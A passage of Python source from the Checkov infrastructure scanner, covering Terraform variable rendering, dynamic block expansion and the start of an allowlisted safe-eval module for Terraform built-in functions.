BlockType.VARIABLE\n                and destination_vertex.block_type == BlockType.TF_VARIABLE\n            ):\n                self.update_evaluated_value(\n                    changed_attribute_key=edge.label,\n                    changed_attribute_value=destination_vertex.attributes['default'],\n                    vertex=edge.origin,\n                    change_origin_id=edge.dest,\n                    attribute_at_dest=edge.label,\n                )\n                return\n\n        modified_vertex_attributes = self.local_graph.vertices[edge.origin].attributes\n        origin_val = modified_vertex_attributes.get(edge.label, \"\")\n        val_to_eval = pickle_deepcopy(origin_val)\n        first_key_path = None\n\n        if referenced_vertices:\n            for edge in edge_list:\n                dest_vertex_attributes = self.local_graph.get_vertex_attributes_by_index(edge.dest, add_hash=False)\n                key_path_in_dest_vertex, replaced_key = self.find_path_from_referenced_vertices(\n                    referenced_vertices, dest_vertex_attributes\n                )\n                if not key_path_in_dest_vertex or not replaced_key:\n                    continue\n                if not first_key_path:\n                    first_key_path = key_path_in_dest_vertex\n\n                evaluated_attribute_value = self.extract_value_from_vertex(\n                    key_path_in_dest_vertex, dest_vertex_attributes\n                )\n                if evaluated_attribute_value is not None:\n                    val_to_eval = self.replace_value(edge, val_to_eval, replaced_key, evaluated_attribute_value, True)\n                if not multiple_edges and val_to_eval != origin_val:\n                    self.update_evaluated_value(\n                        changed_attribute_key=edge.label,\n                        changed_attribute_value=val_to_eval,\n                        vertex=edge.origin,\n                        change_origin_id=edge.dest,\n                        attribute_at_dest=key_path_in_dest_vertex,\n                    )\n\n        if multiple_edges and val_to_eval != origin_val:\n            self.update_evaluated_value(\n                changed_attribute_key=edge.label,\n                changed_attribute_value=val_to_eval,\n                vertex=edge.origin,\n                change_origin_id=edge.dest,\n                attribute_at_dest=first_key_path,\n            )\n\n        # Avoid loops on output => output edges\n        if (\n            self.local_graph.vertices[edge.origin].block_type == BlockType.OUTPUT\n            and self.local_graph.vertices[edge.dest].block_type == BlockType.OUTPUT\n        ):\n            if edge.origin not in self.done_edges_by_origin_vertex:\n                self.done_edges_by_origin_vertex[edge.origin] = []\n            self.done_edges_by_origin_vertex[edge.origin].append(edge)\n\n    def extract_value_from_vertex(self, key_path: List[str], attributes: Dict[str, Any]) -> Any:\n        for i, _ in enumerate(key_path):\n            key = join_trimmed_strings(char_to_join=\".\", str_lst=key_path, num_to_trim=i)\n            value = attributes.get(key, None)\n            if value is not None:\n                return value\n\n        reversed_key_path = key_path[::-1]\n        for i, _ in enumerate(reversed_key_path):\n            key = join_trimmed_strings(char_to_join=\".\", str_lst=reversed_key_path, num_to_trim=i)\n            value = attributes.get(key, None)\n            if value is not None:\n                return value\n            special_key = DATA_SPECIAL_KEYWORDS.get(key, '')\n            value = attributes.get(special_key)\n            if attributes.get('block_type_') == BlockType.DATA and value is not None:\n                return {special_key: value}\n\n        if attributes.get(CustomAttributes.BLOCK_TYPE) in (BlockType.VARIABLE, BlockType.TF_VARIABLE):\n            var_type = attributes.get('type')\n            default_val = attributes.get(\"default\")\n            if default_val is None:\n                # this allows functions like merge(var.xyz, ...) to work even with no default value\n                default_val = self.get_default_placeholder_value(var_type)\n            value = None\n            if isinstance(default_val, dict):\n                value = find_in_dict(input_dict=default_val, key_path=create_variable_key_path(key_path))\n            elif (\n                isinstance(var_type, str)\n                and var_type.startswith(\"${object\")\n                and isinstance(default_val, str)\n            ):\n                try:\n                    default_val_eval = literal_eval(default_val)\n                    if isinstance(default_val_eval, dict):\n                        value = self.extract_value_from_vertex(key_path, default_val_eval)\n                except Exception:\n                    logging.debug(f\"cannot evaluate this rendered value: {default_val}\")\n            return default_val if value is None else value\n        if attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.OUTPUT:\n            return attributes.get(\"value\")\n        return None\n\n    @staticmethod\n    def get_default_placeholder_value(var_type: Any) -> list[Any] | dict[str, Any] | None:\n        if not var_type or not isinstance(var_type, str):\n            return None\n        match = TYPE_REGEX.match(var_type)\n        return VAR_TYPE_DEFAULT_VALUES.get(match.group(2)) if match else None\n\n    @staticmethod\n    def find_path_from_referenced_vertices(\n        referenced_vertices: Sequence[VertexReference], vertex_attributes: Dict[str, Any]\n    ) -> Tuple[List[str], str]:\n        \"\"\"\n        :param referenced_vertices: an array of VertexReference\n        :param vertex_attributes: attributes to search\n        :return attribute_path: [] if referenced_vertices does not contain vertex_attributes,\n                                else the path to the searched attribute: ['vpc_id']\n        :return origin_value\n        \"\"\"\n        for vertex_reference in referenced_vertices:\n            block_type = vertex_reference.block_type\n            attribute_path = vertex_reference.sub_parts\n            copy_of_attribute_path = attribute_path.copy()\n            if vertex_attributes[CustomAttributes.BLOCK_TYPE] == block_type:\n                for i, _ in enumerate(copy_of_attribute_path):\n                    copy_of_attribute_path[i] = remove_index_pattern_from_str(copy_of_attribute_path[i])\n                    name = \".\".join(copy_of_attribute_path[: i + 1])\n                    if vertex_attributes[CustomAttributes.BLOCK_NAME] == name:\n                        return attribute_path, vertex_reference.origin_value\n                    elif vertex_attributes[CustomAttributes.BLOCK_NAME] == name.replace(LEFT_BRACKET_WITH_QUOTATION, LEFT_BRACKET).replace(RIGHT_BRACKET_WITH_QUOTATION, RIGHT_BRACKET):\n                        return attribute_path, vertex_reference.origin_value\n            elif block_type == BlockType.MODULE:\n                copy_of_attribute_path.reverse()\n                for i, _ in enumerate(copy_of_attribute_path):\n                    copy_of_attribute_path[i] = remove_index_pattern_from_str(copy_of_attribute_path[i])\n                    name = \".\".join(copy_of_attribute_path[: i + 1])\n                    if vertex_attributes[CustomAttributes.BLOCK_NAME] == name:\n                        return name.split(\".\"), vertex_reference.origin_value\n        return [], \"\"\n\n    def update_evaluated_value(\n        self,\n        changed_attribute_key: str,\n        changed_attribute_value: Union[str, List[str]],\n        vertex: int,\n        change_origin_id: int,\n        attribute_at_dest: Optional[Union[str, List[str]]] = None,\n    ) -> None:\n        \"\"\"\n        The function updates the value of changed_attribute_key with changed_attribute_value for vertex\n        \"\"\"\n        str_to_evaluate = (\n            str(changed_attribute_value)\n            if self.attributes_no_eval(changed_attribute_key, vertex)\n            else f'\"{str(changed_attribute_value)}\"'\n        )\n        str_to_evaluate = str_to_evaluate.replace(\"\\\\\\\\\", \"\\\\\")\n        evaluated_attribute_value = (\n            str_to_evaluate if self.attributes_no_eval(changed_attribute_key, vertex) else evaluator.evaluate_terraform(str_to_evaluate)\n        )\n        self.local_graph.update_vertex_attribute(\n            vertex, changed_attribute_key, evaluated_attribute_value, change_origin_id, attribute_at_dest\n        )\n\n    def evaluate_vertices_attributes(self) -> None:\n        for vertex in self.local_graph.vertices:\n            decoded_attributes = vertex.get_attribute_dict(add_hash=False)\n            for attr in decoded_attributes:\n                if attr in vertex.changed_attributes:\n                    continue\n                origin_value = decoded_attributes[attr]\n                if not isinstance(origin_value, str):\n                    continue\n                evaluated_attribute_value = evaluator.evaluate_terraform(origin_value)\n                if origin_value != evaluated_attribute_value:\n                    vertex.update_inner_attribute(attr, vertex.attributes, evaluated_attribute_value)\n\n    def replace_value(\n        self,\n        edge: Edge,\n        original_val: List[Any],\n        replaced_key: str,\n        replaced_value: Any,\n        keep_origin: bool,\n        count: int = 0,\n    ) -> Union[Any, List[Any]]:\n        if count > 1:\n            return original_val\n        new_val = evaluator.replace_string_value(\n            original_str=original_val,\n            str_to_replace=replaced_key,\n            replaced_value=replaced_value,\n            keep_origin=keep_origin,\n        )\n        return new_val\n\n    def _render_variables_from_vertices(self) -> None:\n        self._render_dynamic_blocks()\n\n    def _render_dynamic_blocks(self) -> None:\n        vertex_indices = self.local_graph.vertices_by_block_type[BlockType.RESOURCE]\n\n        for idx in vertex_indices:\n            vertex = self.local_graph.vertices[idx]\n            if vertex.has_dynamic_block:\n                # only check dynamic blocks on the root level for now\n                dynamic_blocks = vertex.attributes.get(\"dynamic\")\n                if dynamic_blocks:\n                    try:\n                        rendered_blocks = self._process_dynamic_blocks(dynamic_blocks)\n                    except Exception:\n                        logging.info(f'Failed to process dynamic blocks in file {vertex.path} of resource {vertex.name}'\n                                     f' for blocks: {dynamic_blocks}')\n                        continue\n                    changed_attributes = []\n\n                    for block_name, block_confs in rendered_blocks.items():\n                        vertex.update_inner_attribute(block_name, vertex.attributes, block_confs)\n                        changed_attributes.append(block_name)\n\n                    self.local_graph.update_vertex_config(vertex, changed_attributes, True)\n\n    @staticmethod\n    def _extract_dynamic_arguments(block_name: str, block_content: Dict[str, Any], dynamic_arguments: List[str],\n                                   path_accumulator: List[str]) -> None:\n        dynamic_value_dot_ref = f\"{block_name}.value\"\n        dynamic_value_bracket_ref = f'{block_name}[\"value\"]'\n        dynamic_value_refs = (dynamic_value_dot_ref, dynamic_value_bracket_ref)\n        for argument, value in block_content.items():\n            if value in dynamic_value_refs or isinstance(value, str) and dynamic_value_dot_ref in value:\n                dynamic_arguments.append(DOT_SEPERATOR.join(filter(None, [*path_accumulator, argument])))\n            elif isinstance(value, dict):\n                TerraformVariableRenderer._extract_dynamic_arguments(block_name, value, dynamic_arguments,\n                                                                     path_accumulator + [argument])\n\n    @staticmethod\n    def _process_dynamic_blocks(dynamic_blocks: list[dict[str, Any]] | dict[str, Any]) -> dict[\n            str, list[dict[str, Any]] | dict[str, Any]]:\n        rendered_blocks: dict[str, list[dict[str, Any]] | dict[str, Any]] = {}\n\n        if not isinstance(dynamic_blocks, list) and not isinstance(dynamic_blocks, dict):\n            logging.info(f\"Dynamic blocks found, but of type {type(dynamic_blocks)}\")\n\n        dynamic_type = DYNAMIC_BLOCKS_LISTS\n        if isinstance(dynamic_blocks, dict):\n            dynamic_blocks = [dynamic_blocks]\n            dynamic_type = DYNAMIC_BLOCKS_MAPS\n\n        for block in dynamic_blocks:\n            block_name, block_values = next(iter(block.items()))  # only one block per dynamic_block\n            block_content = block_values.get(\"content\")\n            dynamic_values = block_values.get(\"for_each\")\n            dynamic_values = TerraformVariableRenderer._handle_for_loop_in_dynamic_values(dynamic_values)\n            if not block_content or not dynamic_values or isinstance(dynamic_values, str):\n                continue\n\n            dynamic_arguments: list[str] = []\n            TerraformVariableRenderer._extract_dynamic_arguments(block_name, block_content, dynamic_arguments, [])\n            if not dynamic_arguments and len(dynamic_values) == 1:\n                for argument, _ in block_content.items():\n                    dynamic_arguments.append(argument)\n            if dynamic_arguments and isinstance(dynamic_values, list):\n                block_confs = []\n                for dynamic_value in dynamic_values:\n                    block_conf = pickle_deepcopy(block_content)\n                    block_conf.pop(DYNAMIC_STRING, None)\n                    for dynamic_argument in dynamic_arguments:\n                        if dynamic_type == DYNAMIC_BLOCKS_MAPS:\n                            if not isinstance(dynamic_value, dict):\n                                continue\n                            TerraformVariableRenderer._assign_dynamic_value_for_list(\n                                dynamic_value=dynamic_value,\n                                dynamic_argument=dynamic_argument,\n                                block_conf=block_conf,\n                                block_content=block_content,\n                                block_name=block_name\n                            )\n\n                        else:\n                            TerraformVariableRenderer._assign_dynamic_value_for_map(\n                                dynamic_value=dynamic_value,\n                                dynamic_argument=dynamic_argument,\n                                block_conf=block_conf,\n                                block_content=block_content,\n                            )\n\n                    block_confs.append(block_conf)\n                rendered_blocks[block_name] = block_confs if len(block_confs) > 1 else block_confs[0]\n\n            if DYNAMIC_STRING in block_content and dynamic_values:\n                try:\n                    next_key = next(iter(block_content[DYNAMIC_STRING].keys()))\n                except (StopIteration, AttributeError):\n                    continue\n                block_content[DYNAMIC_STRING][next_key]['for_each'] = dynamic_values\n\n                try:\n                    flatten_key = next(iter(rendered_blocks.keys()))\n                except StopIteration:\n                    flatten_key = ''\n\n                flatten_key_block = rendered_blocks.get(flatten_key)\n                if isinstance(flatten_key_block, dict) and next_key in flatten_key_block:\n                    flatten_key_block.update(TerraformVariableRenderer._process_dynamic_blocks(block_content[DYNAMIC_STRING]))\n                elif isinstance(flatten_key_block, list) and isinstance(dynamic_values, list):\n                    for i in range(len(flatten_key_block)):\n                        block_content[DYNAMIC_STRING][next_key]['for_each'] = [dynamic_values[i]]\n                        flatten_key_block[i].update(TerraformVariableRenderer._process_dynamic_blocks(block_content[DYNAMIC_STRING]))\n                else:\n                    rendered_blocks.update(TerraformVariableRenderer._process_dynamic_blocks(block_content[DYNAMIC_STRING]))\n\n        return rendered_blocks\n\n    @staticmethod\n    def _assign_dynamic_value_for_list(\n            dynamic_value: str | dict[str, Any] | dict[str, list[dict[str, dict[str, Any]]]],\n            dynamic_argument: str,\n            block_conf: dict[str, Any],\n            block_content: dict[str, Any],\n            block_name: str,\n    ) -> None:\n        dynamic_value_in_map = TerraformVariableRenderer.extract_dynamic_value_in_map(\n            dpath.get(block_content, dynamic_argument, separator=DOT_SEPERATOR), dynamic_argument\n        )\n        if isinstance(dynamic_value, dict) and block_name not in dynamic_value and dynamic_value_in_map in dynamic_value:\n            dpath.set(block_conf, dynamic_argument, dynamic_value[dynamic_value_in_map], separator=DOT_SEPERATOR)\n        else:\n            try:\n                if DOT_SEPERATOR in dynamic_argument:\n                    dynamic_args = dynamic_argument.split(DOT_SEPERATOR)\n                    dpath.set(block_conf, dynamic_argument, dynamic_value[block_name][0][dynamic_args[0]][dynamic_args[1]], separator=DOT_SEPERATOR)  # type:ignore[index]\n                else:\n                    dpath.set(block_conf, dynamic_argument, dynamic_value[block_name][0][dynamic_value_in_map], separator=DOT_SEPERATOR)  # type:ignore[index]\n            except (KeyError, IndexError):\n                dynamic_content = block_content.get(dynamic_argument)\n                if dynamic_content and LOOKUP in dynamic_content:\n                    block_conf[dynamic_argument] = get_lookup_value(block_content, dynamic_argument)\n                else:\n                    return\n\n    @staticmethod\n    def _handle_for_loop_in_dynamic_values(dynamic_values: str | dict[str, Any]) -> str | dict[str, Any] | list[dict[str, Any]]:\n        if not isinstance(dynamic_values, str):\n            return dynamic_values\n\n        if (dynamic_values.startswith(LEFT_BRACKET + FOR_LOOP) or dynamic_values.startswith(LEFT_BRACKET + \" \" + FOR_LOOP)) and dynamic_values.endswith(RIGHT_BRACKET):\n            rendered_dynamic_values = dynamic_values[1:-1]\n            start_bracket_idx = rendered_dynamic_values.find(LEFT_BRACKET)\n            end_bracket_idx = find_match_bracket_index(rendered_dynamic_values, start_bracket_idx)\n            if start_bracket_idx != -1 and end_bracket_idx != -1:\n                rendered_dynamic_values = rendered_dynamic_values[start_bracket_idx:end_bracket_idx + 1].replace(\"'\", '\"')\n            try:\n                return cast(\"dict[str, Any] | list[dict[str, Any]]\", json.loads(rendered_dynamic_values))\n            except JSONDecodeError:\n                return dynamic_values\n        return dynamic_values\n\n    @staticmethod\n    def _assign_dynamic_value_for_map(\n            dynamic_value: str | dict[str, Any],\n            dynamic_argument: str,\n            block_conf: dict[str, Any],\n            block_content: dict[str, Any],\n    ) -> None:\n        if isinstance(dynamic_value, dict):\n            if dynamic_argument in dynamic_value:\n                dpath.set(block_conf, dynamic_argument, dynamic_value[dynamic_argument], separator=DOT_SEPERATOR)\n            else:\n                if isinstance(block_content, dict) and dynamic_argument in block_content and isinstance(block_content[dynamic_argument], str):\n                    lookup_value = get_lookup_value(block_content, dynamic_argument)\n                    dpath.set(block_conf, dynamic_argument, lookup_value, separator=DOT_SEPERATOR)\n        else:\n            dpath.set(block_conf, dynamic_argument, dynamic_value, separator=DOT_SEPERATOR)\n\n    def shouldBeFilteredByConditionAndResourceType(self, attr: str, resource_type: List[str]) -> bool:\n        if not resource_type:\n            return False\n        for resource in resource_type:\n            if resource in attrsToFilterByResourceType and attr in attrsToFilterByResourceType[resource]:\n                return True\n        return False\n\n    def evaluate_non_rendered_values(self) -> None:\n        for index, vertex in enumerate(self.local_graph.vertices):\n            changed_attributes = {}\n            attributes: Dict[str, Any] = {}\n            vertex.get_origin_attributes(attributes)\n            attribute_is_leaf = get_attribute_is_leaf(vertex)\n            filtered_attributes = [\n                attr\n                for attr in vertex.attributes\n                if attr not in reserved_attribute_names and not attribute_has_nested_attributes(attr, vertex.attributes, attribute_is_leaf)\n                and not attribute_has_dup_with_dynamic_attributes(attr, vertex.attributes)\n                and not self.shouldBeFilteredByConditionAndResourceType(attr, vertex.attributes.get(\"resource_type\", []))\n            ]\n            for attribute in filtered_attributes:\n                curr_val = vertex.attributes.get(attribute)\n                lst_curr_val = curr_val\n                if not isinstance(lst_curr_val, list):\n                    lst_curr_val = [lst_curr_val]\n                if len(lst_curr_val) > 0 and isinstance(lst_curr_val[0], Tree):\n                    lst_curr_val[0] = str(lst_curr_val[0])\n                evaluated_lst = []\n                for inner_val in lst_curr_val:\n                    if (\n                        isinstance(inner_val, str)\n                        and not any(c in inner_val for c in (\"{\", \"}\", \"[\", \"]\", \"=\"))\n                        or self.attributes_no_eval(attribute, index)\n                    ):\n                        evaluated_lst.append(inner_val)\n                        continue\n                    evaluated = self.evaluate_value(inner_val)\n                    evaluated_lst.append(evaluated)\n                evaluated = evaluated_lst\n                if not isinstance(curr_val, list):\n                    evaluated = evaluated_lst[0]\n                if evaluated != curr_val:\n                    vertex.update_inner_attribute(attribute, vertex.attributes, evaluated)\n                    changed_attributes[attribute] = evaluated\n            self.local_graph.update_vertex_config(vertex, changed_attributes)\n\n    @staticmethod\n    def extract_dynamic_value_in_map(dynamic_value: str, dynamic_argument: str = '') -> str:\n        if LOOKUP in dynamic_value and dynamic_argument in dynamic_value:\n            return dynamic_argument\n\n        dynamic_value_in_map = dynamic_value.split(DOT_SEPERATOR)[-1]\n        if LEFT_BRACKET not in dynamic_value_in_map:\n            return dynamic_value_in_map\n        return dynamic_value_in_map.split(LEFT_BRACKET_WITH_QUOTATION)[-1].replace(RIGHT_BRACKET_WITH_QUOTATION, '')\n\n    def evaluate_value(self, val: Any) -> Any:\n        val_length: int = len(str(val))\n        if CHECKOV_RENDER_MAX_LEN and 0 < CHECKOV_RENDER_MAX_LEN < val_length:\n            logging.debug(f'Rendering was skipped for a {val_length}-character-long string. If you wish to have it '\n                          f'evaluated, please set the environment variable CHECKOV_RENDER_MAX_LEN '\n                          f'to {str(val_length + 1)} or to 0 to allow rendering of any length')\n            return val\n        if type(val) not in [str, list, set, dict]:\n            evaluated_val = val\n        elif isinstance(val, str):\n            evaluated_val = evaluator.evaluate_terraform(val, keep_interpolations=False)\n        elif isinstance(val, list):\n            evaluated_val = []\n            for v in val:\n                evaluated_val.append(self.evaluate_value(v))\n        elif isinstance(val, set):\n            evaluated_val = set()\n            for v in val:\n                evaluated_v = self.evaluate_value(v)\n                if isinstance(evaluated_v, Hashable):\n                    evaluated_val.add(evaluated_v)\n                else:\n                    evaluated_val.add(str(evaluated_v))\n        else:\n            evaluated_val = {}\n            for k, v in val.items():\n                evaluated_key = self.evaluate_value(k)\n                evaluated_val[evaluated_key] = self.evaluate_value(v)\n        return evaluated_val\n\n\ndef find_match_bracket_index(s: str, open_bracket_idx: int) -> int:\n    res = {}\n    pstack = []\n    for i, c in enumerate(s):\n        if c == LEFT_BRACKET:\n            pstack.append(i)\n        elif c == RIGHT_BRACKET:\n            if len(pstack) == 0:\n                logging.debug(\"No matching closing brackets at: \" + str(i))\n                return -1\n            res[pstack.pop()] = i\n\n    if len(pstack) > 0:\n        logging.debug(\"No matching opening brackets at: \" + str(pstack.pop()))\n\n    return res.get(open_bracket_idx) or -1\n\n\ndef get_lookup_value(block_content: dict[str, Any], dynamic_argument: str) -> str:\n    lookup_value: str = ''\n    if 'None' in block_content[dynamic_argument]:\n        lookup_value = 'null'\n    elif 'False' in block_content[dynamic_argument]:\n        lookup_value = 'false'\n    elif 'True' in block_content[dynamic_argument]:\n        lookup_value = 'true'\n    return lookup_value\n\n\ndef create_variable_key_path(key_path: list[str]) -> str:\n    \"\"\"Returns the key_path without the var prefix\n\n    ex.\n    [\"var\", \"properties\", \"region\"] -> \"properties/region\"\n    \"\"\"\n    return \"/\".join(key_path[1:])\n"
  },
  {
    "path": "checkov/terraform/graph_builder/variable_rendering/safe_eval_functions.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nimport os\nimport re\nfrom datetime import datetime, timedelta\nfrom functools import reduce\nfrom math import ceil, floor, log\nfrom typing import Union, Any, Dict, Callable, List, Optional\nfrom asteval import Interpreter\n\nfrom checkov.terraform.parser_functions import tonumber, FUNCTION_FAILED, create_map, tobool, tostring\n\nTIME_DELTA_PATTERN = re.compile(r\"(\\d*\\.*\\d+)\")\nRANGE_PATTERN = re.compile(r'^\\d+-\\d+$')\n\n\"\"\"\nThis file contains a custom implementation of the builtin `eval` function.\n`eval` is not a safe function, because it can execute *every* command,\nso this file overrides `eval` and allows only the functions in SAFE_EVAL_DICT.\n\nThe functions are an implementation of Terraform's built-in functions\nhttps://www.terraform.io/docs/configuration/functions.html\n\nNot all of the functions are implemented yet. If a function doesn't exist, the original value is returned.\n\"\"\"\n\n\ndef _find_regex_groups(pattern: str, input_str: str) -> Optional[Union[Dict[str, str], List[str]]]:\n    match = re.match(pattern, input_str)\n    if match:\n        if match.groupdict():\n            # try to find named capturing groups\n            return match.groupdict()\n        if list(match.groups()):\n            # try to find unnamed capturing groups\n            return list(match.groups())\n    return None\n\n\ndef regex(pattern: str, input_str: str) -> Union[Dict[str, str], List[str], str]:\n    try:\n        groups = _find_regex_groups(pattern, input_str)\n        if groups is not None:\n            return groups\n\n        results: List[str] = re.findall(pattern, input_str)\n        # return first match\n        if len(results) > 0:\n            return results[0]\n        return \"\"\n    except TypeError:\n        return f\"regex({pattern}, {input_str})\"\n\n\ndef regexall(pattern: str, input_str: str) -> Union[Dict[str, str], List[str], str]:\n    try:\n        groups = _find_regex_groups(pattern, input_str)\n        if groups is not None:\n            return groups\n\n        results = re.findall(pattern, input_str)\n        return results\n    except TypeError:\n        return f\"regexall({pattern}, {input_str})\"\n\n\ndef trim(input_str: str, chars_to_remove: str) -> str:\n    for c in chars_to_remove:\n        input_str = input_str.replace(c, \"\")\n    return input_str\n\n\ndef coalesce(*arg: Any) -> Any:\n    return reduce(lambda x, y: x if x not in [None, \"\"] else y, arg)\n\n\ndef coalesce_list(*arg: List[Any]) -> List[Any]:\n    return reduce(lambda x, y: x if x not in [None, []] else y, arg)\n\n\ndef flatten(lst: List[List[Any]]) -> List[Any]:\n    res = [item for sublist in lst for item in sublist]\n    if any(type(elem) is list for elem in res):\n        return flatten(res)\n    else:\n        return res\n\n\ndef matchkeys(values_list: List[Any], keys_list: List[Any], search_set: List[Any]) -> List[Any]:\n    matching = set()\n    for search in search_set:\n        indices = [i for i, x in enumerate(keys_list) if x == search]\n        for i in indices:\n            matching.add(values_list[i])\n\n    return list(matching)\n\n\ndef reverse(lst: List[Any]) -> List[Any]:\n    lst.reverse()\n    return lst\n\n\ndef sort(lst: List[str]) -> List[str]:\n    lst.sort()\n    return lst\n\n\ndef merge(*args: Any) -> Dict[str, Any]:\n    res: Dict[str, Any] = {}\n    for d in args:\n        res = {**res, **d}\n    return res\n\n\ndef wrap_func(f: Callable[..., Any], *args: Any) -> Any:\n    res = f(*args)\n    if res == FUNCTION_FAILED:\n        raise ValueError\n    return res\n\n\ndef update_datetime(dt: datetime, delta: timedelta, adding: bool) -> datetime:\n    if adding is True:\n        dt = dt + delta\n    else:\n        dt = dt - delta\n    return dt\n\n\ndef timeadd(input_str: str, time_delta: str) -> str:\n    '''\n    From docs:\n    duration is a string representation of a time difference, consisting of sequences of number and unit pairs,\n     like \"1.5h\" or \"1h30m\". The accepted units are \"ns\", \"us\" (or \"µs\"), \"ms\", \"s\", \"m\", and \"h\".\n     The first number may be negative to indicate a negative duration, like \"-2h5m\".\n    '''\n\n    # Convert the date to allowing parsing\n    input_str = input_str.replace(\"Z\", \"+00:00\")\n    dt = datetime.fromisoformat(input_str)\n    adding = True\n    if time_delta[0] == '-':\n        adding = False\n        time_delta = time_delta[1:]\n    # Split out into each of the deltas\n    deltas = re.split(TIME_DELTA_PATTERN, time_delta)\n    # Needed to strip the leading empty element\n    deltas = list(filter(None, deltas))\n    while len(deltas) > 0:\n        amount = float(deltas[0])\n        interval = deltas[1]\n        deltas = deltas[2:]\n        delta = timedelta(0)\n        if interval == 'h':\n            delta = timedelta(hours=amount)\n        elif interval == 'm':\n            delta = timedelta(minutes=amount)\n        elif interval == 's':\n            delta = timedelta(seconds=amount)\n        elif interval == 'ms':\n            delta = timedelta(milliseconds=amount)\n        elif interval == 'us' or interval == 'µs':\n            delta = timedelta(microseconds=amount)\n        elif interval == 'ns':  # Crude, but timedelta does not deal with nanoseconds\n            delta = timedelta(microseconds=(amount / 1000))\n\n        dt = update_datetime(dt, delta, adding)\n\n    return dt.strftime('%Y-%m-%dT%H:%M:%SZ')\n\n\ndef process_formatting_codes(format_str: str, dt: datetime) -> str:\n    format_mapping = {\n        \"YYYY\": \"%Y\",\n        \"YY\": \"%y\",\n        \"MMMM\": \"%B\",\n        \"MMM\": \"%b\",\n        \"MM\": \"%m\",\n        \"M\": \"%-m\",\n        \"DD\" : \"%d\",\n        \"D\" : \"%-d\",\n        \"EEEE\" : \"%A\",\n        \"EEE\" : \"%a\",\n        \"HH\" : \"%I\",\n        \"H\" : \"%-I\",\n        \"hh\" : \"%H\",\n        \"h\" : \"%-H\",\n        \"mm\" : \"%M\",\n        \"m\" : \"%-M\",\n        \"ss\" : \"%S\",\n        \"s\" : \"%-S\",\n        \"AA\" : \"%p\",\n        # \"aa\" : \"%p\",  # included for completeness but requires separate handling\n        \"ZZZZZ\" : \"%z\",\n        \"ZZZZ\" : \"%z\",\n        \"ZZZ\" : \"%z\",\n        \"Z \" : \"%z\"}\n\n    if format_str == 'aa':\n        format_str = dt.strftime('%p').lower()\n    elif format_str == 'ZZZZZ':\n        tz = dt.strftime(\"%z\")\n        format_str = tz[:3] + \":\" + tz[3:]\n    elif format_str == 'ZZZ':\n        tz = dt.strftime(\"%z\")\n        if tz == '+0000':\n            tz = 'UTC'\n        format_str = tz\n    elif format_str == 'Z':\n        tz = dt.strftime(\"%z\")\n        if tz == '+0000':\n            tz = 'Z'\n        format_str = tz\n    else:\n        format_str = format_mapping.get(format_str, format_str)\n\n    return format_str\n\n\ndef formatdate(format_str: str, input_str: str) -> str:\n    '''\n    From docs: This function is intended for producing common machine-oriented timestamp formats such as\n    those defined in RFC822, RFC850, and RFC1123. It is not suitable for truly human-oriented date\n    formatting because it is not locale-aware.\n    Any non-letter characters, such as punctuation, are reproduced verbatim in the output.\n    To include literal letters in the format string, enclose them in single quotes '.\n    To include a literal quote, escape it by doubling the quotes.\n    Function works through the format string halting on single quotes to process any formatting\n    '''\n\n    # Convert the input str to a date\n    input_str = input_str.replace(\"Z\", \"+00:00\")\n    dt = datetime.fromisoformat(input_str)\n\n    processed_format_str = \"\"\n    format_str_segment = \"\"\n    in_quote = False  # Keep track of whether in formatting or quoted text\n    last_ch = \"\"  # Used to identify the '' scenario\n    for ch in format_str:\n        if ch == \"'\" or in_quote is True:\n            if len(format_str_segment) > 0:\n                processed_format_str += process_formatting_codes(format_str_segment, dt)\n                format_str_segment = \"\"\n            if ch == \"'\":\n                if last_ch == \"'\":\n                    processed_format_str += \"'\"\n                in_quote = not in_quote\n            else:\n                processed_format_str += ch\n        else:\n            if ch != last_ch and last_ch != \"\":  # new format code and the start of the string\n                processed_format_str += process_formatting_codes(format_str_segment, dt)\n                format_str_segment = \"\"\n            format_str_segment += ch\n        last_ch = ch\n    if len(format_str_segment) > 0:\n        processed_format_str += process_formatting_codes(format_str_segment, dt)\n\n    return dt.strftime(processed_format_str)\n\n\ndef terraform_try(*args: Any) -> Any:\n    \"\"\"\n    From terraform docs:\n        \"try evaluates all of its argument expressions in turn and returns the result of the first one that does not\n        produce any errors.\"\n    \"\"\"\n    for arg in args:\n        try:\n            return evaluate(arg) if isinstance(arg, str) else arg\n        except Exception as e:\n            logging.warning(f\"Error in evaluate_try of argument {arg} - {e}\")\n            continue\n    raise Exception(f\"No argument can be evaluated for try of {args}\")\n\n\nSAFE_EVAL_FUNCTIONS: List[str] = []\nSAFE_EVAL_DICT = dict([(k, locals().get(k, None)) for k in SAFE_EVAL_FUNCTIONS])\n\n# type conversion functions\nTRY_STR_REPLACEMENT = \"__terraform_try__\"\nSAFE_EVAL_DICT[TRY_STR_REPLACEMENT] = terraform_try\n\n# math functions\nSAFE_EVAL_DICT[\"abs\"] = abs\nSAFE_EVAL_DICT[\"ceil\"] = ceil\nSAFE_EVAL_DICT[\"floor\"] = floor\nSAFE_EVAL_DICT[\"log\"] = log\nSAFE_EVAL_DICT[\"max\"] = max\nSAFE_EVAL_DICT[\"min\"] = min\nSAFE_EVAL_DICT[\"parsint\"] = int\nSAFE_EVAL_DICT[\"pow\"] = pow\nSAFE_EVAL_DICT[\"signum\"] = lambda x: -1 if x < 0 else 0 if x == 0 else 1\n\n# string functions\nSAFE_EVAL_DICT[\"chomp\"] = lambda x: x.rstrip()\nSAFE_EVAL_DICT[\"format\"] = lambda text_to_format, *args: (text_to_format % args)\nSAFE_EVAL_DICT[\"formatlist\"] = lambda text_to_format, args_list: [(text_to_format % args) for args in args_list]\nSAFE_EVAL_DICT[\"indent\"] = lambda num_of_space, input_str: input_str\nSAFE_EVAL_DICT[\"join\"] = lambda separator, lst: separator.join(lst)\nSAFE_EVAL_DICT[\"lower\"] = lambda input_str: input_str.lower()\nSAFE_EVAL_DICT[\"regex\"] = regex\nSAFE_EVAL_DICT[\"regexall\"] = regexall\nSAFE_EVAL_DICT[\"replace\"] = lambda string, substring, replacement: string.replace(substring, replacement)\nSAFE_EVAL_DICT[\"split\"] = lambda separator, input_str: input_str.split(separator)\nSAFE_EVAL_DICT[\"strrev\"] = lambda input_str: input_str[::-1]\nSAFE_EVAL_DICT[\"substr\"] = lambda input_str, offset, length: input_str[offset : offset + length]\nSAFE_EVAL_DICT[\"title\"] = lambda input_str: input_str.title()\nSAFE_EVAL_DICT[\"trim\"] = trim\nSAFE_EVAL_DICT[\"trimprefix\"] = lambda input_str, prefix: 